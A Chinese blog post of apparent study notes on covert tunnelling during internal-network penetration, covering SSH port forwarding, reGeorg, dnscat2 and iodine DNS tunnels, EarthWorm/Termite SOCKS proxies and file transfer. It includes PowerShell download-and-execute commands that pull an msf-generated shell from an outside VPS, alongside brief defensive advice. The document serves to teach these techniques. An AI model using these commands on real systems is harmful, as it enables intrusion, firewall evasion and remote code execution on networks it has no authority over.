<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透基石篇--隱藏通信隧道技術

    VSole2022-07-10 06:07:29

    一. 應用層隧道技術

    1. ssh隧道

    建立雙向安全隧道

    將其他TCP端口的通信通過SSH連接轉發
    用SSH作為傳輸層協議,對流量自動加解密
    突破防火墻訪問規則的限制
    SSH本地端口轉發
    本機偵聽端口,訪問轉發到遠程主機指定端口
    ssh -L -CfN <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port> #能夠共享該隧道 ssh -L -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
    基于建立起來的SSH隧道,隧道中斷則端口轉發中斷
    

    只能在建立隧道時創建轉發,不能為已有隧道增加端口轉發

    遠程端口轉發

    遠程偵聽端口,訪問轉發到本機主機指定端口

    ssh -R -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
    內網為服務器
    

    動態端口轉發

    本地偵聽socks4/5代理端口,由SSH server決定如何轉發

    ssh -CfNg -D <listen port> user@<ssh server> -p <ssh server port>
    shsh root@x.x.1.1
    -C 壓縮傳輸
    
    -f 將SSH傳輸轉入后臺執行
    -N 建立靜默連接
    -g 允許遠程主機連接本地用于轉發的端口
    -L 本地端口轉發
    11001 本地端口

    實驗1:本地轉發

    1.kali 10.10.10.128

    2.centos7 10.10.10.133

    3.win7 10.10.10.147

    -C 壓縮傳輸
    -f 將SSH傳輸轉入后臺執行
    -N 建立靜默連接
    -g 允許遠程主機連接本地用于轉發的端口
    -L 本地端口轉發
    11001 本地端口
    192.168.160.139:3389 目標主機:目標端口
    XXX@10.10.10.133
    跳板機
    運行命令,輸入跳板機的ssh登陸密碼,就可以了

    1.ssh -CfNg -L 11001:10.10.10.128:3389 XXX@10.10.10.133

    2.連接本地的11001端口,就會自動通過跳板機,連接到目標機的3389端口

    rdesktop 127.0.0.1:11001
    

    3.成功彈窗

    4.成功遠程登錄

    實驗2:遠程轉發

    第一步:在跳板機ubuntu18上運行SSH遠程轉發命令

    -R 遠程端口轉發

    11111 kali rolling上的端口

    192.168.160.139:3389 目標主機:目標端口

    root@192.168.160.140

    kali rolling

    運行命令,輸入kali rolling的ssh登陸密碼,就可以了

    ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140
    第二步:在kali rolling上通過rdesktop連接本地的11111端口
    

    連接本地的11001端口,就會自動通過跳板機,連接到目標機的3389端口

    rdesktop 127.0.0.1:11111
    

    2.防御ssh隧道攻擊的思路

    產生原因:因為系統被攻擊者利用,主要是因為系統訪問控制措施不夠。

    解決措施

    1.建立帶外管理的網絡結構
    2.在內網中限制ssh遠程登錄的地址及雙向訪問控制策略。

    二、 http/https協議

    http service代理用于將所有的流量轉發到內網。常見的代理工具有reGeorg、meterpeter、tunna等。

    實驗:使用regeory工具進行遠程掃描

    工具下載地址:https://github.com/sensepost/reGeorg

    第一步:在跳板機上傳遞隧道文件

    第二步:在kali rolling配置proxychains.conf

    第三步:在kali rolling上啟動代理

    第四步:在目標機器開啟防火墻,阻斷kali rolling的訪問

    第五步:在kali rolling上探測目標機器開放的端口

    三. DNs協議

    定義:Dns協議是一種請求/應答協議,也是一種可用于應用層的隧道技術。雖然激增的dns流量可能會被發現,但基于傳統socket隧道已經瀕臨淘汰及tcp、udp通信大量被防御系統攔截的狀況。

    dns是一個必不可少的服務,另一方面,dns報文本身具有穿透防火墻的能力。

    用于管理僵尸網絡和進行apt攻擊的服務器叫做C&C服務器。C&C節點分為兩種,分別是c&C客戶端c&c服務端。

    c&C通信是指植入c&c客戶端的木馬或者后門程序與c&C服務端上的遠程控制程序之間的通信。

    正常網絡之間的通信,都是在tcp間建立tcp連接后進行的。在進行數據通信時:如果目標是ip地址,可以直接發送報文;

    內網中安裝了各種軟/硬件防護措施來檢查主機與外部網絡的連接情況。

    域名型dns隧道木馬

    1.查看dns的連通性

    2.dnscat2 軟件

    模式:直連模式中繼模式。

    特點

    支持多個會話

    流量加密

    使用密鑰防止MITM攻擊

    在內存中直接執行Powershell 腳本

    隱蔽通信

    安裝使用步驟:

    (1) 部署域名解析

    (2)安裝dnscat2 服務端

    (3)在目標主機上安裝客戶端

    (4) 反彈shell

    3.iodine

    (1)安裝服務端

    運行iodine服務端iodined

    iodined -f -c -P Micr067 192.168.0.1 vpn.abc.com -DD

    -f:在前臺運行

    -c:禁止檢查所有傳入請求的客戶端IP地址。

    -P:客戶端和服務端之間用于驗證身份的密碼。

    -D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。

    這里的192.168.0.1是自定義的局域網虛擬IP地址。

    (2)安裝客戶端

    linux環境

    iodine -f -P Micr067 vpn.abc.ltd -M 200

    -r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道

    -M:指定上行主機的大小。

    -m:調節最大下行分片的大小。

    -T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。

    -O:指定數據編碼規范。

    -L:指定是否開啟懶惰模式,默認開啟。

    -I:指定兩個請求之間的時間間隔。

    windows環境

    windows客戶端可以直接使用編譯好的windows版本,同時需要安裝TAP網卡驅動程序。也可以下載OpenVPN,在安裝時僅選擇TAP-Win32驅動程序,安裝后服務器上就會多出一塊“TAP-Wndows ADApter V9”的網卡。

    運行客戶端程序iodine,如果出現提示“Connection setup complete, transmitting data”,就表示DNS隧道已經建立。

    iodine -f -P Micr067 vpn.abc.com

    (3)使用dns隧道

    DNS隧道的使用方法比較簡單,由于客戶端和服務端在同一局域網中,只要直接訪問服務端即可,例如,登錄目標主機的3389端口,就可以直接執行 mstsc 10.0.0.1:3389。同樣,目標主機也可以直接通過ssh登錄服務端。

    (4)防御DNS隧道攻擊的方法

    1.禁止網絡中任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信。

    2.雖然沒有人會將TXT解析請求發送給DNS服務器,但是郵件服務器/網關會這樣做,因此,可以將郵件服務器/網關列入白名單并阻止傳入和傳出流量中的TXT請求。

    3.跟蹤用戶的DNS查詢次數,如果達到閾值,就生成相應的報告。

    四、 Socks代理

    1.服務器在內網中,可以任意訪問外部網絡

    2.服務器在內網中,可以訪問外部網絡,但服務器安裝了防火墻來拒絕敏感端口的連接。

    3.服務器在內網中,對外開放了部分端口,且服務器不能訪問外部網絡。

    1. 常用Socks代理工具

    1.EarthWorm

    2.reGEorg

    3.sSocks

    4.SocksCap64

    5.Proxifier

    6.ProxyChains

    2. Socks代理技術在網絡環境中的應用

    1.EarthWorm的應用

    -l 開放指定端口監聽
    -d 指定轉發或反彈的主機地址
    -e 指定轉發或反彈的主機端口
    -f 指定連接或映射的主機地址
    -g 指定連接或映射的主機端口
    -t 設置超時時間
    Termite工具基本用法如下
    

    1.服務端以服務模式啟動一個agent服務,開啟監聽8888端口

    ./agent_exe -l 8888
    

    2.管理端連接到agent并對agent進行管理

    ./admin_exe -c 127.0.0.1 -p 8888
    

    3.此時,管理端端會得到一個內置的shell, 輸入help指令可以得到幫助信息

    help
    

    4.通過show指令可以得到當前agent的拓撲情況。

    show
    

    5.將新agent加入當前拓撲

    ./agent_exe -c 127.0.0.1 -p 8888
    

    6.此時show指令將得到如下效果 0M +– 1M | +– 2M 這表明,當前拓撲中有兩個節點,其中由于2節點需要通過1節點才能訪問,所以下掛在1節點下方。

    7.在2節點開啟socks代理,并綁定在本地端口

    goto 2      //將當前被管理節點切換為 2 號節點
    socks 1080  //本地1080 端口會啟動個監聽服務,而服務提供者為2號節點。
    

    8.在1號節點開啟一個shell并綁定到本地端口

    goto 1       //將當前被管理節點切換為 1 號節點
    shell 7777   //過nc本地的 7777 端口,就可以得到一個 1 節點提供的 shell.
    

    9.將遠程的文件下載至本地

    goto 1 
    downfile 1.txt 2.txt   //將1 節點,目錄下的 1.txt 下載至本地,并命名為2.txt
    

    10.上傳文件至遠程節點

    goto 2 
    upfile 2.txt 3.txt   //將本地的 2.txt 上傳至 2號節點的目錄,并命名為3.txt
    

    11.端口轉接

    goto 2 
    lcxtran 3388 10.0.0.1 3389   //以2號節點為跳板,將 10.0.0.1 的 3389 端口映射至本地的 3388 端口
    

    2.ew的使用步驟

    (1)正向socks5服務器

    ew -s ssocked -l 888

    (2)反彈socks5服務器

    ew -s resocks -d x.x.x.x -e 888

    (3)二級網絡環境a

    (4)二級網絡環境b

    (5)三級網絡環境

    五、 壓縮數據

    1. RAR

    參數說明:

    -a:添加要壓縮的文件。

    -k:鎖定壓縮文件

    -s:生成存檔文件(這樣可以提高壓縮比)。

    -p:指定壓縮密碼

    -r:遞歸壓縮,包括子目錄

    -x:指定要排除的文件

    -v:分卷打包,在打包大文件時用處很大。

    -ep:從名稱中排除路徑。

    -epl:從名稱中排除基本目錄

    -mO:存儲,添加到壓縮文件時不壓縮文件。

    -ml:最快,使用最快壓縮方式(低壓縮比)

    -m2:較快,使用快速壓縮方式。

    -m3:標準,使用標準壓縮方式(默認)

    -m4:較好,使用較強壓縮方式(速度較慢)

    -m5:最好,使用最強壓縮方式(最好的壓縮方式,但速度最慢)。

    1.以rar文件格式壓縮

    2.分卷壓縮

    六、 上傳和下載

    1. 利用ftp協議上傳

    常用的 FTP 命令

    open :連接指定的FTP服務器

    cd:進入指定的目錄

    put/send <本地文件> <遠程目錄>:將目標機器本地文件上傳到服務器遠程目錄 // send和put方法用法都基本相同,但是上傳速度send卻要比put快很多

    get <遠程文件> <本地目錄>:將ftp服務器上的文件下載到本地目標機器中

    2.利用Debug上傳

    DEBUG是一個DOS實用程序,是供程序員使用的程序調試工具,可以用它檢查內存中任何地方的字節以及修改任何地方的字節。它可以用于逐指令執行某個程序以驗證程序運行的正確性,也可以追蹤執行過程、比較一個指令執行前后的值以及比較與移動內存中數據的范圍,讀寫文件與磁盤扇區。

    我們利用Debug向目標主機上傳文件的原理就是,先將需要上傳的exe文件轉換為十六進制hex的格式,將hex的內容復制,再通過echo命令將hex內容寫入到目標主機上的一個文件中,最后利用debug將hex內容編譯成exe文件。

    接下來,我們將nc.exe工具利用debug上傳至目標主機。

    我們使用kali中的exe2bat.exe工具(位于/usr/share/windows-binaries目錄下)將二進制的nc.exe轉換成16進制的表示,由于exe2bat是windows程序,所以在kali上我們要用wine來執行(linux是不能運行window下的可執行文件的,必須借助于wine):

    wine exe2bat.exe nc.exe nc.txt

    3. 利用NIshang上傳

    Download_Execute是Nishang中一個下載執行腳本,它在實戰中最常用的功能就是下載一個文本文件,然后將其轉換為exe可執行文件執行。

    第一步:首先攻擊者在本地用Nishang中的exetotext.ps1腳本將exe可執行文件更改為文本文件(這里我們的exe為msf生成的shell.exe)

    powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Utility/ExetoText.ps1');ExetoText c:\shell.exe c:\shell.txt"
    

    第二步:將生成的shell.txt放到vps上面,然后在目標主機上面用Download_Execute腳本下載改shell.txt,將其轉化為exe后執行

    powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1');Download_Execute http://39.xxx.xxx.210/shell.txt
    

    4. 利用bitsadmin上傳YY6 03.7.6 利用powershell 上傳

    bitsadmin 可以用來在windows 命令行下下載文件。bitsadmin是 windows 后臺智能傳輸服務的一個工具,windows 的自動更新,補丁之類的下載就是用這個工具來實現的。Windows Server2003和XP是沒有bitsadmin的,Winc7及其之后的機器才有。bitsadmin 可以在網絡不穩定的狀態下下載文件,出錯會自動重試,可靠性應該相當不錯。

    總結

    內網隱藏通信隧道就學到這里了,中間參考了一些大佬的思路。中途做了幾個實驗,用來學習一些常用工具的使用,工具只有在使用的時候我覺得理解的更快啊!

    dns協議端口轉發
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文主要對攻防演練場景下的加密流量概況進行了介紹。我們可以看到,加密流量在整個攻防演練的所有環節都會出現。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    一. 應用層隧道技術1. ssh隧道建立雙向安全隧道將其他TCP端口的通信通過SSH連接轉發用SSH作為傳輸層協議,對流量自動加解密突破防火墻訪問規則的限制SSH本地端口轉發本機偵聽端口
    網絡隧道技術指的是利用一種網絡協議來傳輸另一種網絡協議,它主要利用網絡隧道協議來實現這種功能。網絡隧道技術涉及了三種網絡協議,即網絡隧道協議、隧道協議下面的承載協議和隧道協議所承載的被承載協議。 在安全人員人員的日常工作中,會遇到因為相關配置或設備導致的無法和目標設備通信的狀況,這時就可以嘗試使用隧道通信解決。
    隱藏通訊隧道技術
    2021-10-22 22:16:06
    防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應服務器上。nslookup 是windows自帶的DNS探測命令,執行:
    隱藏通信隧道技術常用于在訪問受限的網絡環境中或不受信任的網絡中實現安全的數據傳輸。網絡層:IPV6隧道、ICMP隧道、GRE隧道傳輸層:TCP隧道、UDP隧道、常規端口轉發應用層:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道常規判斷內網連通性的方法都有哪些?
    0x00 前言本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。0x01 nps-npc1.1 簡介nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。nps-npc簡介nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持 tcp、udp 流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类